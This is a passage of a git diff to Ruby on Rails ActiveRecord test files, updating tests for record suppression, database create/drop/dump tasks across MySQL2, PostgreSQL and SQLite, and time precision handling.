refute_equal book, other_book + end end end diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb index e9cdf94c99..bce86875e1 100644 --- a/activerecord/test/cases/store_test.rb +++ b/activerecord/test/cases/store_test.rb @@ -104,7 +104,7 @@ class StoreTest < ActiveRecord::TestCase assert_equal true, user.settings.instance_of?(ActiveSupport::HashWithIndifferentAccess) end - test "convert store attributes from any format other than Hash or HashWithIndifferent access losing the data" do + test "convert store attributes from any format other than Hash or HashWithIndifferentAccess losing the data" do @john.json_data = "somedata" @john.height = 'low' assert_equal true, @john.json_data.instance_of?(ActiveSupport::HashWithIndifferentAccess) @@ -177,6 +177,7 @@ class StoreTest < ActiveRecord::TestCase assert_equal [:color], first_model.stored_attributes[:data] assert_equal [:color, :width, :height], second_model.stored_attributes[:data] assert_equal [:color, :area, :volume], third_model.stored_attributes[:data] + assert_equal [:color], first_model.stored_attributes[:data] end test "YAML coder initializes the store when a Nil value is given" do diff --git a/activerecord/test/cases/suppressor_test.rb b/activerecord/test/cases/suppressor_test.rb index 1c449d42fe..2f00241de2 100644 --- a/activerecord/test/cases/suppressor_test.rb +++ b/activerecord/test/cases/suppressor_test.rb @@ -3,7 +3,38 @@ require 'models/notification' require 'models/user' class SuppressorTest < ActiveRecord::TestCase - def test_suppresses_creation_of_record_generated_by_callback + def test_suppresses_create + assert_no_difference -> { Notification.count } do + Notification.suppress do + Notification.create + Notification.create! + Notification.new.save + Notification.new.save! + end + end + end + + def test_suppresses_update + user = User.create! token: 'asdf' + + User.suppress do + user.update token: 'ghjkl' + assert_equal 'asdf', user.reload.token + + user.update! token: 'zxcvbnm' + assert_equal 'asdf', user.reload.token + + user.token = 'qwerty' + user.save + assert_equal 'asdf', user.reload.token + + user.token = 'uiop' + user.save! + assert_equal 'asdf', user.reload.token + end + end + + def test_suppresses_create_in_callback assert_difference -> { User.count } do assert_no_difference -> { Notification.count } do Notification.suppress { UserWithNotification.create! } @@ -15,7 +46,30 @@ class SuppressorTest < ActiveRecord::TestCase Notification.suppress { UserWithNotification.create! } assert_difference -> { Notification.count } do - Notification.create! + Notification.create!(message: "New Comment") + end + end + + def test_suppresses_validations_on_create + assert_no_difference -> { Notification.count } do + Notification.suppress do + User.create + User.create! + User.new.save + User.new.save! + end + end + end + + def test_suppresses_when_nested_multiple_times + assert_no_difference -> { Notification.count } do + Notification.suppress do + Notification.suppress { } + Notification.create + Notification.create! + Notification.new.save + Notification.new.save! + end end end end diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb index 38164b2228..510bb088c8 100644 --- a/activerecord/test/cases/tasks/database_tasks_test.rb +++ b/activerecord/test/cases/tasks/database_tasks_test.rb @@ -8,16 +8,50 @@ module ActiveRecord ActiveRecord::Tasks::MySQLDatabaseTasks.stubs(:new).returns @mysql_tasks ActiveRecord::Tasks::PostgreSQLDatabaseTasks.stubs(:new).returns @postgresql_tasks ActiveRecord::Tasks::SQLiteDatabaseTasks.stubs(:new).returns @sqlite_tasks + + $stdout, @original_stdout = StringIO.new, $stdout + $stderr, @original_stderr = StringIO.new, $stderr + end + + def teardown + $stdout, $stderr = @original_stdout, @original_stderr end end ADAPTERS_TASKS = { - mysql: :mysql_tasks, mysql2: :mysql_tasks, postgresql: :postgresql_tasks, sqlite3: :sqlite_tasks } + class DatabaseTasksUtilsTask< ActiveRecord::TestCase + def test_raises_an_error_when_called_with_protected_environment + ActiveRecord::Migrator.stubs(:current_version).returns(1) + + protected_environments = ActiveRecord::Base.protected_environments.dup + current_env = ActiveRecord::Migrator.current_environment + assert !protected_environments.include?(current_env) + # Assert no error + ActiveRecord::Tasks::DatabaseTasks.check_protected_environments! + + ActiveRecord::Base.protected_environments << current_env + assert_raise(ActiveRecord::ProtectedEnvironmentError) do + ActiveRecord::Tasks::DatabaseTasks.check_protected_environments! + end + ensure + ActiveRecord::Base.protected_environments = protected_environments + end + + def test_raises_an_error_if_no_migrations_have_been_made + ActiveRecord::InternalMetadata.stubs(:table_exists?).returns(false) + ActiveRecord::Migrator.stubs(:current_version).returns(1) + + assert_raise(ActiveRecord::NoEnvironmentInSchemaError) do + ActiveRecord::Tasks::DatabaseTasks.check_protected_environments! + end + end + end + class DatabaseTasksRegisterTask < ActiveRecord::TestCase def test_register_task klazz = Class.new do @@ -134,21 +168,25 @@ module ActiveRecord with('database' => 'dev-db') ActiveRecord::Tasks::DatabaseTasks.expects(:create). with('database' => 'test-db') - ENV.expects(:[]).with('RAILS_ENV').returns(nil) ActiveRecord::Tasks::DatabaseTasks.create_current( ActiveSupport::StringInquirer.new('development') ) end - def test_creates_only_development_database_when_rails_env_is_development + def test_creates_test_and_development_databases_when_rails_env_is_development + old_env = ENV['RAILS_ENV'] + ENV['RAILS_ENV'] = 'development' ActiveRecord::Tasks::DatabaseTasks.expects(:create). with('database' => 'dev-db') - ENV.expects(:[]).with('RAILS_ENV').returns('development') + ActiveRecord::Tasks::DatabaseTasks.expects(:create). + with('database' => 'test-db') ActiveRecord::Tasks::DatabaseTasks.create_current( ActiveSupport::StringInquirer.new('development') ) + ensure + ENV['RAILS_ENV'] = old_env end def test_establishes_connection_for_the_given_environment @@ -255,36 +293,55 @@ module ActiveRecord with('database' => 'dev-db') ActiveRecord::Tasks::DatabaseTasks.expects(:drop). with('database' => 'test-db') - ENV.expects(:[]).with('RAILS_ENV').returns(nil) ActiveRecord::Tasks::DatabaseTasks.drop_current( ActiveSupport::StringInquirer.new('development') ) end - def test_drops_only_development_database_when_rails_env_is_development + def test_drops_testand_development_databases_when_rails_env_is_development + old_env = ENV['RAILS_ENV'] + ENV['RAILS_ENV'] = 'development' ActiveRecord::Tasks::DatabaseTasks.expects(:drop). with('database' => 'dev-db') - ENV.expects(:[]).with('RAILS_ENV').returns('development') + ActiveRecord::Tasks::DatabaseTasks.expects(:drop). + with('database' => 'test-db') ActiveRecord::Tasks::DatabaseTasks.drop_current( ActiveSupport::StringInquirer.new('development') ) + ensure + ENV['RAILS_ENV'] = old_env end end class DatabaseTasksMigrateTest < ActiveRecord::TestCase + self.use_transactional_tests = false + + def setup + ActiveRecord::Tasks::DatabaseTasks.migrations_paths = 'custom/path' + end + + def teardown + ActiveRecord::Tasks::DatabaseTasks.migrations_paths = nil + end + def test_migrate_receives_correct_env_vars verbose, version = ENV['VERBOSE'], ENV['VERSION'] ENV['VERBOSE'] = 'false' ENV['VERSION'] = '4' - ActiveRecord::Migrator.expects(:migrate).with(ActiveRecord::Migrator.migrations_paths, 4) + ActiveRecord::Migrator.expects(:migrate).with('custom/path', 4) ActiveRecord::Tasks::DatabaseTasks.migrate ensure ENV['VERBOSE'], ENV['VERSION'] = verbose, version end + + def test_migrate_clears_schema_cache_afterward + ActiveRecord::Base.expects(:clear_cache!) + ActiveRecord::Tasks::DatabaseTasks.migrate + end end class DatabaseTasksPurgeTest < ActiveRecord::TestCase diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb index f58535f044..8e480bbaee 100644 --- a/activerecord/test/cases/tasks/mysql_rake_test.rb +++ b/activerecord/test/cases/tasks/mysql_rake_test.rb @@ -1,48 +1,49 @@ require 'cases/helper' +require 'active_record/tasks/database_tasks' -if current_adapter?(:MysqlAdapter, :Mysql2Adapter) +if current_adapter?(:Mysql2Adapter) module ActiveRecord class MysqlDBCreateTest < ActiveRecord::TestCase def setup @connection = stub(:create_database => true) @configuration = { - 'adapter' => 'mysql', + 'adapter' => 'mysql2', 'database' => 'my-app-db' } ActiveRecord::Base.stubs(:connection).returns(@connection) ActiveRecord::Base.stubs(:establish_connection).returns(true) + + $stdout, @original_stdout = StringIO.new, $stdout + $stderr, @original_stderr = StringIO.new, $stderr + end + + def teardown + $stdout, $stderr = @original_stdout, @original_stderr end def test_establishes_connection_without_database ActiveRecord::Base.expects(:establish_connection). - with('adapter' => 'mysql', 'database' => nil) + with('adapter' => 'mysql2', 'database' => nil) ActiveRecord::Tasks::DatabaseTasks.create @configuration end - def test_creates_database_with_default_encoding_and_collation + def test_creates_database_with_no_default_options @connection.expects(:create_database). - with('my-app-db', charset: 'utf8', collation: 'utf8_unicode_ci') + with('my-app-db', {}) ActiveRecord::Tasks::DatabaseTasks.create @configuration end - def test_creates_database_with_given_encoding_and_default_collation - @connection.expects(:create_database). - with('my-app-db', charset: 'utf8', collation: 'utf8_unicode_ci') - - ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge('encoding' => 'utf8') - end - - def test_creates_database_with_given_encoding_and_no_collation + def test_creates_database_with_given_encoding @connection.expects(:create_database). with('my-app-db', charset: 'latin1') ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge('encoding' => 'latin1') end - def test_creates_database_with_given_collation_and_no_encoding + def test_creates_database_with_given_collation @connection.expects(:create_database). with('my-app-db', collation: 'latin1_swedish_ci') @@ -55,108 +56,118 @@ module ActiveRecord ActiveRecord::Tasks::DatabaseTasks.create @configuration end - def test_create_when_database_exists_outputs_info_to_stderr - $stderr.expects(:puts).with("my-app-db already exists").once + def test_when_database_created_successfully_outputs_info_to_stdout + ActiveRecord::Tasks::DatabaseTasks.create @configuration + assert_equal $stdout.string, "Created database 'my-app-db'\n" + end + + def test_create_when_database_exists_outputs_info_to_stderr ActiveRecord::Base.connection.stubs(:create_database).raises( - ActiveRecord::StatementInvalid.new("Can't create database 'dev'; database exists:") + ActiveRecord::Tasks::DatabaseAlreadyExists ) ActiveRecord::Tasks::DatabaseTasks.create @configuration + + assert_equal $stderr.string, "Database 'my-app-db' already exists\n" end end - if current_adapter?(:MysqlAdapter) - class MysqlDBCreateAsRootTest < ActiveRecord::TestCase - def setup - @connection = stub("Connection", create_database: true) - @error = Mysql::Error.new "Invalid permissions" - @configuration = { - 'adapter' => 'mysql', - 'database' => 'my-app-db', - 'username' => 'pat', - 'password' => 'wossname' - } - - $stdin.stubs(:gets).returns("secret\n") - $stdout.stubs(:print).returns(nil) - @error.stubs(:errno).returns(1045) - ActiveRecord::Base.stubs(:connection).returns(@connection) - ActiveRecord::Base.stubs(:establish_connection). - raises(@error). - then.returns(true) - end + class MysqlDBCreateAsRootTest < ActiveRecord::TestCase + def setup + @connection = stub("Connection", create_database: true) + @error = Mysql2::Error.new("Invalid permissions") + @configuration = { + 'adapter' => 'mysql2', + 'database' => 'my-app-db', + 'username' => 'pat', + 'password' => 'wossname' + } - if defined?(::Mysql) - def test_root_password_is_requested - assert_permissions_granted_for "pat" - $stdin.expects(:gets).returns("secret\n") + $stdin.stubs(:gets).returns("secret\n") + $stdout.stubs(:print).returns(nil) + @error.stubs(:errno).returns(1045) + ActiveRecord::Base.stubs(:connection).returns(@connection) + ActiveRecord::Base.stubs(:establish_connection). + raises(@error). + then.returns(true) - ActiveRecord::Tasks::DatabaseTasks.create @configuration - end - end + $stdout, @original_stdout = StringIO.new, $stdout + $stderr, @original_stderr = StringIO.new, $stderr + end - def test_connection_established_as_root - assert_permissions_granted_for "pat" - ActiveRecord::Base.expects(:establish_connection).with( - 'adapter' => 'mysql', - 'database' => nil, - 'username' => 'root', - 'password' => 'secret' - ) + def teardown + $stdout, $stderr = @original_stdout, @original_stderr + end - ActiveRecord::Tasks::DatabaseTasks.create @configuration - end + def test_root_password_is_requested + assert_permissions_granted_for("pat") + $stdin.expects(:gets).returns("secret\n") - def test_database_created_by_root - assert_permissions_granted_for "pat" - @connection.expects(:create_database). - with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci') + ActiveRecord::Tasks::DatabaseTasks.create @configuration + end - ActiveRecord::Tasks::DatabaseTasks.create @configuration - end + def test_connection_established_as_root + assert_permissions_granted_for("pat") + ActiveRecord::Base.expects(:establish_connection).with( + 'adapter' => 'mysql2', + 'database' => nil, + 'username' => 'root', + 'password' => 'secret' + ) - def test_grant_privileges_for_normal_user - assert_permissions_granted_for "pat" - ActiveRecord::Tasks::DatabaseTasks.create @configuration - end + ActiveRecord::Tasks::DatabaseTasks.create @configuration + end - def test_do_not_grant_privileges_for_root_user - @configuration['username'] = 'root' - @configuration['password'] = '' - ActiveRecord::Tasks::DatabaseTasks.create @configuration - end + def test_database_created_by_root + assert_permissions_granted_for("pat") + @connection.expects(:create_database). + with('my-app-db', {}) - def test_connection_established_as_normal_user - assert_permissions_granted_for "pat" - ActiveRecord::Base.expects(:establish_connection).returns do - ActiveRecord::Base.expects(:establish_connection).with( - 'adapter' => 'mysql', - 'database' => 'my-app-db', - 'username' => 'pat', - 'password' => 'secret' - ) + ActiveRecord::Tasks::DatabaseTasks.create @configuration + end - raise @error - end + def test_grant_privileges_for_normal_user + assert_permissions_granted_for("pat") + ActiveRecord::Tasks::DatabaseTasks.create @configuration + end + + def test_do_not_grant_privileges_for_root_user + @configuration['username'] = 'root' + @configuration['password'] = '' + ActiveRecord::Tasks::DatabaseTasks.create @configuration + end + + def test_connection_established_as_normal_user + assert_permissions_granted_for("pat") + ActiveRecord::Base.expects(:establish_connection).returns do + ActiveRecord::Base.expects(:establish_connection).with( + 'adapter' => 'mysql2', + 'database' => 'my-app-db', + 'username' => 'pat', + 'password' => 'secret' + ) - ActiveRecord::Tasks::DatabaseTasks.create @configuration + raise @error end - def test_sends_output_to_stderr_when_other_errors - @error.stubs(:errno).returns(42) + ActiveRecord::Tasks::DatabaseTasks.create @configuration + end - $stderr.expects(:puts).at_least_once.returns(nil) + def test_sends_output_to_stderr_when_other_errors + @error.stubs(:errno).returns(42) - ActiveRecord::Tasks::DatabaseTasks.create @configuration - end + $stderr.expects(:puts).at_least_once.returns(nil) + + ActiveRecord::Tasks::DatabaseTasks.create @configuration + end - private - def assert_permissions_granted_for(db_user) - db_name = @configuration['database'] - db_password = @configuration['password'] - @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;") - end + private + + def assert_permissions_granted_for(db_user) + db_name = @configuration['database'] + db_password = @configuration['password'] + @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;") end end @@ -164,12 +175,19 @@ module ActiveRecord def setup @connection = stub(:drop_database => true) @configuration = { - 'adapter' => 'mysql', + 'adapter' => 'mysql2', 'database' => 'my-app-db' } ActiveRecord::Base.stubs(:connection).returns(@connection) ActiveRecord::Base.stubs(:establish_connection).returns(true) + + $stdout, @original_stdout = StringIO.new, $stdout + $stderr, @original_stderr = StringIO.new, $stderr + end + + def teardown + $stdout, $stderr = @original_stdout, @original_stderr end def test_establishes_connection_to_mysql_database @@ -183,13 +201,19 @@ module ActiveRecord ActiveRecord::Tasks::DatabaseTasks.drop @configuration end + + def test_when_database_dropped_successfully_outputs_info_to_stdout + ActiveRecord::Tasks::DatabaseTasks.drop @configuration + + assert_equal $stdout.string, "Dropped database 'my-app-db'\n" + end end class MySQLPurgeTest < ActiveRecord::TestCase def setup @connection = stub(:recreate_database => true) @configuration = { - 'adapter' => 'mysql', + 'adapter' => 'mysql2', 'database' => 'test-db' } @@ -203,9 +227,9 @@ module ActiveRecord ActiveRecord::Tasks::DatabaseTasks.purge @configuration end - def test_recreates_database_with_the_default_options + def test_recreates_database_with_no_default_options @connection.expects(:recreate_database). - with('test-db', charset: 'utf8', collation: 'utf8_unicode_ci') + with('test-db', {}) ActiveRecord::Tasks::DatabaseTasks.purge @configuration end @@ -223,7 +247,7 @@ module ActiveRecord def setup @connection = stub(:create_database => true) @configuration = { - 'adapter' => 'mysql', + 'adapter' => 'mysql2', 'database' => 'my-app-db' } @@ -241,7 +265,7 @@ module ActiveRecord def setup @connection = stub(:create_database => true) @configuration = { - 'adapter' => 'mysql', + 'adapter' => 'mysql2', 'database' => 'my-app-db' } @@ -258,43 +282,53 @@ module ActiveRecord class MySQLStructureDumpTest < ActiveRecord::TestCase def setup @configuration = { - 'adapter' => 'mysql', + 'adapter' => 'mysql2', 'database' => 'test-db' } end def test_structure_dump filename = "awesome-file.sql" - Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "test-db").returns(true) + Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "--routines", "test-db").returns(true) ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename) end - def test_warn_when_external_structure_dump_fails + def test_warn_when_external_structure_dump_command_execution_fails filename = "awesome-file.sql" - Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "test-db").returns(false) + Kernel.expects(:system) + .with("mysqldump", "--result-file", filename, "--no-data", "--routines", "test-db") + .returns(false) - warnings = capture(:stderr) do + e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename) - end - - assert_match(/Could not dump the database structure/, warnings) + } + assert_match(/^failed to execute: `mysqldump`$/, e.message) end def test_structure_dump_with_port_number filename = "awesome-file.sql" - Kernel.expects(:system).with("mysqldump", "--port", "10000", "--result-file", filename, "--no-data", "test-db").returns(true) + Kernel.expects(:system).with("mysqldump", "--port=10000", "--result-file", filename, "--no-data", "--routines", "test-db").returns(true) ActiveRecord::Tasks::DatabaseTasks.structure_dump( @configuration.merge('port' => 10000), filename) end + + def test_structure_dump_with_ssl + filename = "awesome-file.sql" + Kernel.expects(:system).with("mysqldump", "--ssl-ca=ca.crt", "--result-file", filename, "--no-data", "--routines", "test-db").returns(true) + + ActiveRecord::Tasks::DatabaseTasks.structure_dump( + @configuration.merge("sslca" => "ca.crt"), + filename) + end end class MySQLStructureLoadTest < ActiveRecord::TestCase def setup @configuration = { - 'adapter' => 'mysql', + 'adapter' => 'mysql2', 'database' => 'test-db' } end @@ -302,10 +336,10 @@ module ActiveRecord def test_structure_load filename = "awesome-file.sql" Kernel.expects(:system).with('mysql', '--execute', %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db") + .returns(true) ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename) end end - end end diff --git a/activerecord/test/cases/tasks/postgresql_rake_test.rb b/activerecord/test/cases/tasks/postgresql_rake_test.rb index d45fb07417..6a0c7fbcb5 100644 --- a/activerecord/test/cases/tasks/postgresql_rake_test.rb +++ b/activerecord/test/cases/tasks/postgresql_rake_test.rb @@ -1,4 +1,5 @@ require 'cases/helper' +require 'active_record/tasks/database_tasks' if current_adapter?(:PostgreSQLAdapter) module ActiveRecord @@ -12,6 +13,13 @@ module ActiveRecord ActiveRecord::Base.stubs(:connection).returns(@connection) ActiveRecord::Base.stubs(:establish_connection).returns(true) + + $stdout, @original_stdout = StringIO.new, $stdout + $stderr, @original_stderr = StringIO.new, $stderr + end + + def teardown + $stdout, $stderr = @original_stdout, @original_stderr end def test_establishes_connection_to_postgresql_database @@ -60,17 +68,23 @@ module ActiveRecord $stderr.expects(:puts). with("Couldn't create database for #{@configuration.inspect}") + assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration } + end + + def test_when_database_created_successfully_outputs_info_to_stdout ActiveRecord::Tasks::DatabaseTasks.create @configuration + + assert_equal $stdout.string, "Created database 'my-app-db'\n" end def test_create_when_database_exists_outputs_info_to_stderr - $stderr.expects(:puts).with("my-app-db already exists").once - ActiveRecord::Base.connection.stubs(:create_database).raises( - ActiveRecord::StatementInvalid.new('database "my-app-db" already exists') + ActiveRecord::Tasks::DatabaseAlreadyExists ) ActiveRecord::Tasks::DatabaseTasks.create @configuration + + assert_equal $stderr.string, "Database 'my-app-db' already exists\n" end end @@ -84,6 +98,13 @@ module ActiveRecord ActiveRecord::Base.stubs(:connection).returns(@connection) ActiveRecord::Base.stubs(:establish_connection).returns(true) + + $stdout, @original_stdout = StringIO.new, $stdout + $stderr, @original_stderr = StringIO.new, $stderr + end + + def teardown + $stdout, $stderr = @original_stdout, @original_stderr end def test_establishes_connection_to_postgresql_database @@ -101,6 +122,12 @@ module ActiveRecord ActiveRecord::Tasks::DatabaseTasks.drop @configuration end + + def test_when_database_dropped_successfully_outputs_info_to_stdout + ActiveRecord::Tasks::DatabaseTasks.drop @configuration + + assert_equal $stdout.string, "Dropped database 'my-app-db'\n" + end end class PostgreSQLPurgeTest < ActiveRecord::TestCase @@ -204,7 +231,7 @@ module ActiveRecord end def test_structure_dump - Kernel.expects(:system).with("pg_dump -i -s -x -O -f #{@filename} my-app-db").returns(true) + Kernel.expects(:system).with('pg_dump', '-s', '-x', '-O', '-f', @filename, 'my-app-db').returns(true) ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename) end @@ -212,7 +239,7 @@ module ActiveRecord def test_structure_dump_with_schema_search_path @configuration['schema_search_path'] = 'foo,bar' - Kernel.expects(:system).with("pg_dump -i -s -x -O -f #{@filename} --schema=foo --schema=bar my-app-db").returns(true) + Kernel.expects(:system).with('pg_dump', '-s', '-x', '-O', '-f', @filename, '--schema=foo', '--schema=bar', 'my-app-db').returns(true) ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename) end @@ -220,7 +247,7 @@ module ActiveRecord def test_structure_dump_with_schema_search_path_and_dump_schemas_all @configuration['schema_search_path'] = 'foo,bar' - Kernel.expects(:system).with("pg_dump -i -s -x -O -f #{@filename} my-app-db").returns(true) + Kernel.expects(:system).with("pg_dump", '-s', '-x', '-O', '-f', @filename, 'my-app-db').returns(true) with_dump_schemas(:all) do ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename) @@ -228,7 +255,7 @@ module ActiveRecord end def test_structure_dump_with_dump_schemas_string - Kernel.expects(:system).with("pg_dump -i -s -x -O -f #{@filename} --schema=foo --schema=bar my-app-db").returns(true) + Kernel.expects(:system).with("pg_dump", '-s', '-x', '-O', '-f', @filename, '--schema=foo', '--schema=bar', "my-app-db").returns(true) with_dump_schemas('foo,bar') do ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename) @@ -261,18 +288,17 @@ module ActiveRecord def test_structure_load filename = "awesome-file.sql" - Kernel.expects(:system).with("psql -q -f #{filename} my-app-db") + Kernel.expects(:system).with('psql', '-q', '-f', filename, @configuration['database']).returns(true) ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename) end def test_structure_load_accepts_path_with_spaces filename = "awesome file.sql" - Kernel.expects(:system).with("psql -q -f awesome\\ file.sql my-app-db") + Kernel.expects(:system).with('psql', '-q', '-f', filename, @configuration['database']).returns(true) ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename) end end - end end diff --git a/activerecord/test/cases/tasks/sqlite_rake_test.rb b/activerecord/test/cases/tasks/sqlite_rake_test.rb index 750d5e42dc..4be03c7f61 100644 --- a/activerecord/test/cases/tasks/sqlite_rake_test.rb +++ b/activerecord/test/cases/tasks/sqlite_rake_test.rb @@ -1,4 +1,5 @@ require 'cases/helper' +require 'active_record/tasks/database_tasks' require 'pathname' if current_adapter?(:SQLite3Adapter) @@ -15,6 +16,13 @@ module ActiveRecord File.stubs(:exist?).returns(false) ActiveRecord::Base.stubs(:connection).returns(@connection) ActiveRecord::Base.stubs(:establish_connection).returns(true) + + $stdout, @original_stdout = StringIO.new, $stdout + $stderr, @original_stderr = StringIO.new, $stderr + end + + def teardown + $stdout, $stderr = @original_stdout, @original_stderr end def test_db_checks_database_exists @@ -23,12 +31,18 @@ module ActiveRecord ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root' end + def test_when_db_created_successfully_outputs_info_to_stdout + ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root' + + assert_equal $stdout.string, "Created database '#{@database}'\n" + end + def test_db_create_when_file_exists File.stubs(:exist?).returns(true) - $stderr.expects(:puts).with("#{@database} already exists") - ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root' + + assert_equal $stderr.string, "Database '#{@database}' already exists\n" end def test_db_create_with_file_does_nothing @@ -53,7 +67,7 @@ module ActiveRecord $stderr.expects(:puts). with("Couldn't create database for #{@configuration.inspect}") - ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root' + assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root' } end end @@ -69,6 +83,13 @@ module ActiveRecord Pathname.stubs(:new).returns(@path) File.stubs(:join).returns('/former/relative/path') FileUtils.stubs(:rm).returns(true) + + $stdout, @original_stdout = StringIO.new, $stdout + $stderr, @original_stderr = StringIO.new, $stderr + end + + def teardown + $stdout, $stderr = @original_stdout, @original_stderr end def test_creates_path_from_database @@ -103,6 +124,12 @@ module ActiveRecord ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root' end + + def test_when_db_dropped_successfully_outputs_info_to_stdout + ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root' + + assert_equal $stdout.string, "Dropped database '#{@database}'\n" + end end class SqliteDBCharsetTest < ActiveRecord::TestCase diff --git a/activerecord/test/cases/test_case.rb b/activerecord/test/cases/test_case.rb index e0b01ae8e0..87299c0dab 100644 --- a/activerecord/test/cases/test_case.rb +++ b/activerecord/test/cases/test_case.rb @@ -65,6 +65,24 @@ module ActiveRecord end end + class PostgreSQLTestCase < TestCase + def self.run(*args) + super if current_adapter?(:PostgreSQLAdapter) + end + end + + class Mysql2TestCase < TestCase + def self.run(*args) + super if current_adapter?(:Mysql2Adapter) + end + end + + class SQLite3TestCase < TestCase + def self.run(*args) + super if current_adapter?(:SQLite3Adapter) + end + end + class SQLCounter class << self attr_accessor :ignored_sql, :log, :log_all @@ -79,9 +97,9 @@ module ActiveRecord # ignored SQL, or better yet, use a different notification for the queries # instead examining the SQL content. oracle_ignored = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im, /^\s*select .* from all_constraints/im, /^\s*select .* from all_tab_cols/im] - mysql_ignored = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/, /^SHOW CREATE TABLE /i, /^SHOW VARIABLES /] + mysql_ignored = [/^SHOW FULL TABLES/i, /^SHOW FULL FIELDS/, /^SHOW CREATE TABLE /i, /^SHOW VARIABLES /, /^\s*SELECT (?:column_name|table_name)\b.*\bFROM information_schema\.(?:key_column_usage|tables)\b/im] postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select tablename\b.*from pg_tables\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i] - sqlite3_ignored = [/^\s*SELECT name\b.*\bFROM sqlite_master/im] + sqlite3_ignored = [/^\s*SELECT name\b.*\bFROM sqlite_master/im, /^\s*SELECT sql\b.*\bFROM sqlite_master/im] [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql| ignored_sql.concat db_ignored_sql diff --git a/activerecord/test/cases/test_fixtures_test.rb b/activerecord/test/cases/test_fixtures_test.rb index 3f4baf8378..1970fe82d0 100644 --- a/activerecord/test/cases/test_fixtures_test.rb +++ b/activerecord/test/cases/test_fixtures_test.rb @@ -28,7 +28,7 @@ class TestFixturesTest < ActiveRecord::TestCase assert_equal true, @klass.use_transactional_tests end - def test_use_transactional_tests_can_be_overriden + def test_use_transactional_tests_can_be_overridden @klass.use_transactional_tests = "foobar" assert_equal "foobar", @klass.use_transactional_tests diff --git a/activerecord/test/cases/time_precision_test.rb b/activerecord/test/cases/time_precision_test.rb index ff7a81fe60..628a8eb771 100644 --- a/activerecord/test/cases/time_precision_test.rb +++ b/activerecord/test/cases/time_precision_test.rb @@ -1,7 +1,7 @@ require 'cases/helper' require 'support/schema_dumping_helper' -if ActiveRecord::Base.connection.supports_datetime_with_precision? +if subsecond_precision_supported? class TimePrecisionTest < ActiveRecord::TestCase include SchemaDumpingHelper self.use_transactional_tests = false @@ -10,6 +10,7 @@ class TimePrecisionTest < ActiveRecord::TestCase setup do @connection = ActiveRecord::Base.connection + Foo.reset_column_information end teardown do @@ -20,8 +21,8 @@ class TimePrecisionTest < ActiveRecord::TestCase @connection.create_table(:foos, force: true) @connection.add_column :foos, :start, :time, precision: 3 @connection.add_column :foos, :finish, :time, precision: 6 - assert_equal 3, activerecord_column_option('foos', 'start', 'precision') - assert_equal 6, activerecord_column_option('foos', 'finish', 'precision') + assert_equal 3, Foo.columns_hash['start'].precision + assert_equal 6, Foo.columns_hash['finish'].precision end def test_passing_precision_to_time_does_not_set_limit @@ -29,8 +30,8 @@ class TimePrecisionTest < ActiveRecord::TestCase t.time :start, precision: 3 t.time :finish, precision: 6 end - assert_nil activerecord_column_option('foos', 'start', 'limit') - assert_nil activerecord_column_option('foos', 'finish', 'limit') + assert_nil Foo.columns_hash['start'].limit + assert_nil Foo.columns_hash['finish'].limit end def test_invalid_time_precision_raises_error @@ -42,15 +43,6 @@ class TimePrecisionTest < ActiveRecord::TestCase end end - def test_database_agrees_with_activerecord_about_precision - @connection.create_table(:foos, force: true) do |t| - t.time :start, precision: 2 - t.time :finish, precision: 4 - end - assert_equal 2, database_datetime_precision('foos', 'start') - assert_equal 4, database_datetime_precision('foos', 'finish') - end - def test_formatting_time_according_to_precision @connection.create_table(:foos, force: true) do |t| t.time :start, precision: 0 @@ -88,21 +80,5 @@ class TimePrecisionTest < ActiveRecord::TestCase end end - private - - def database_datetime_precision(table_name, column_name) - results = @connection.exec_query("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name = '#{table_name}'") - result = results.find do |result_hash| - result_hash["column_name"] == column_name - end - result && result["datetime_precision"].to_i - end - - def activerecord_column_option(tablename, column_name, option) - result = @connection.columns(tablename).find do |column| - column.name == column_name - end - result && result.send(option) - end end end diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb index 